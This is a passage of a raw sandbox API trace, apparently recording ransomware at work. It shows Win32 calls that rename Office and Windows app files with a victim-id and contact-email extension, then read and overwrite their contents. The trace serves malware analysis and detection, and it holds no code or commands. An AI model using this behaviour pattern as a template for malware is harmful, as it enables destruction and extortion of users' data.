lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0255.061] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0255.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0255.061] GetProcessHeap () returned 0x630000 [0255.061] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x641) returned 0x6fc88b8 [0255.061] GetProcessHeap () returned 0x630000 [0255.062] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x641) returned 0x73d3ce8 [0255.062] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.062] ReadFile (in: hFile=0x6d0, lpBuffer=0x6fc88b8, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc88b8*, lpNumberOfBytesRead=0x4d3ff0c*=0x620, lpOverlapped=0x0) returned 1 [0255.069] GetProcessHeap () returned 0x630000 [0255.069] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0255.069] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.069] WriteFile (in: hFile=0x6d0, lpBuffer=0x73d3ce8*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d3ce8*, lpNumberOfBytesWritten=0x4d3ff0c*=0x620, lpOverlapped=0x0) returned 1 [0255.069] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.069] WriteFile (in: hFile=0x6d0, lpBuffer=0x73d4307*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d4307*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.069] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.069] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.069] CloseHandle (hObject=0x6d0) returned 1 [0255.069] GetProcessHeap () returned 0x630000 [0255.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d3ce8 | out: hHeap=0x630000) returned 1 [0255.069] GetProcessHeap () returned 0x630000 [0255.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc88b8 | out: hHeap=0x630000) returned 1 [0255.069] GetProcessHeap () returned 0x630000 [0255.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0255.070] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5dfa4e0c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x65d, dwReserved0=0xbfc7496, dwReserved1=0x6fc88b0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5340 [0255.070] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0255.070] Sleep (dwMilliseconds=0x1) [0255.075] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PREVIEW.GIF", len=0x6e | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PREVIEW.GIF") returned 1 [0255.075] GetProcessHeap () returned 0x630000 [0255.075] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d54) returned 0x6fe3bb0 [0255.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0255.131] CloseHandle (hObject=0x6d8) returned 1 [0255.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0e, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d53c0 [0255.132] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0255.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0255.132] GetProcessHeap () returned 0x630000 [0255.132] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa21) returned 0x7316400 [0255.132] GetProcessHeap () returned 0x630000 [0255.132] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa21) returned 0x6f0e5f8 [0255.133] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.133] ReadFile (in: hFile=0x6d8, lpBuffer=0x7316400, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7316400*, lpNumberOfBytesRead=0x4d3ff0c*=0xa00, lpOverlapped=0x0) returned 1 [0255.393] GetProcessHeap () returned 0x630000 [0255.393] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0255.393] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.393] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f0e5f8*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0e5f8*, lpNumberOfBytesWritten=0x4d3ff0c*=0xa00, lpOverlapped=0x0) returned 1 [0255.393] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.393] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f0eff7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0eff7*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.393] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.394] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.394] CloseHandle (hObject=0x6d8) returned 1 [0255.394] GetProcessHeap () returned 0x630000 [0255.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0e5f8 | out: hHeap=0x630000) returned 1 [0255.394] GetProcessHeap () returned 0x630000 [0255.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316400 | out: hHeap=0x630000) returned 1 [0255.394] GetProcessHeap () returned 0x630000 [0255.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0255.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e2c5ec1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa32, dwReserved0=0xbfc7496, dwReserved1=0x73163f8, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5400 [0255.394] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0255.394] Sleep (dwMilliseconds=0x1) [0256.572] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\THMBNAIL.PNG", len=0x6b | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\THMBNAIL.PNG") returned 1 [0256.572] GetProcessHeap () returned 0x630000 [0256.572] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf0) returned 0x6fe3bb0 [0256.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0259.154] CloseHandle (hObject=0x6a8) returned 1 [0259.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0259.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0262.644] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0262.644] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fc6c | out: lpFindFileData=0x4d3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5480 [0262.644] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0262.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0262.644] GetProcessHeap () returned 0x630000 [0262.644] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49a1) returned 0x6f0a338 [0262.644] GetProcessHeap () returned 0x630000 [0262.644] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x49a1) returned 0x7128660 [0262.644] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.644] ReadFile (in: hFile=0x6a8, lpBuffer=0x6f0a338, nNumberOfBytesToRead=0x4980, lpNumberOfBytesRead=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0a338*, lpNumberOfBytesRead=0x4d3ff0c*=0x4980, lpOverlapped=0x0) returned 1 [0263.745] GetProcessHeap () returned 0x630000 [0263.745] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0263.746] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.746] WriteFile (in: hFile=0x6a8, lpBuffer=0x7128660*, nNumberOfBytesToWrite=0x4980, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7128660*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4980, lpOverlapped=0x0) returned 1 [0263.746] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.746] WriteFile (in: hFile=0x6a8, lpBuffer=0x712cfdf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712cfdf*, lpNumberOfBytesWritten=0x4d3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0263.746] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.746] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4d3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4d3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0263.746] CloseHandle (hObject=0x6a8) returned 1 [0263.746] GetProcessHeap () returned 0x630000 [0263.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7128660 | out: hHeap=0x630000) returned 1 [0263.747] GetProcessHeap () returned 0x630000 [0263.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0a338 | out: hHeap=0x630000) returned 1 [0263.747] GetProcessHeap () returned 0x630000 [0263.747] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0263.747] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0263.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4d3fcc4 | out: lpFindFileData=0x4d3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63276fa5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x49a5, dwReserved0=0xbfc7496, dwReserved1=0x6f0a330, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5340 [0263.747] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0263.747] Sleep (dwMilliseconds=0x1) [0264.618] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\WindowsPhoneReservedAppInfo.xml", len=0x71 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\WindowsPhoneReservedAppInfo.xml") returned 1 [0264.618] GetProcessHeap () returned 0x630000 [0264.618] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d1c) returned 0x6fe3bb0 [0264.618] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\WindowsPhoneReservedAppInfo.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\windowsphonereservedappinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.621] Sleep (dwMilliseconds=0x1) [0264.636] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ConnectivityStore.Windows.exe", len=0x74 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ConnectivityStore.Windows.exe") returned 1 [0264.636] GetProcessHeap () returned 0x630000 [0264.636] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d64) returned 0x6fe3bb0 [0264.636] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ConnectivityStore.Windows.exe" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\connectivitystore.windows.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.646] Sleep (dwMilliseconds=0x1) [0264.662] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x6d | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0264.662] GetProcessHeap () returned 0x630000 [0264.662] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d20) returned 0x6fe3bb0 [0264.662] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.667] Sleep (dwMilliseconds=0x1) [0264.674] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-38.png", len=0x75 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-38.png") returned 1 [0264.674] GetProcessHeap () returned 0x630000 [0264.674] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf8) returned 0x6fe3bb0 [0264.675] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-38.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail2.targetsize-38.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.685] Sleep (dwMilliseconds=0x1) [0266.271] SysReAllocStringLen (in: pbstr=0x4d3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\HxRuntime.HxS", len=0x64 | out: pbstr=0x4d3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\HxRuntime.HxS") returned 1 [0266.272] GetProcessHeap () returned 0x630000 [0266.272] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb8) returned 0x6fe3bb0 [0266.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\HxRuntime.HxS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hxruntime.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0266.272] CloseHandle (hObject=0x6a0) returned 1 [0266.273] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4d3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\HxRuntime.HxS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hxruntime.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\HxRuntime.HxS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hxruntime.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 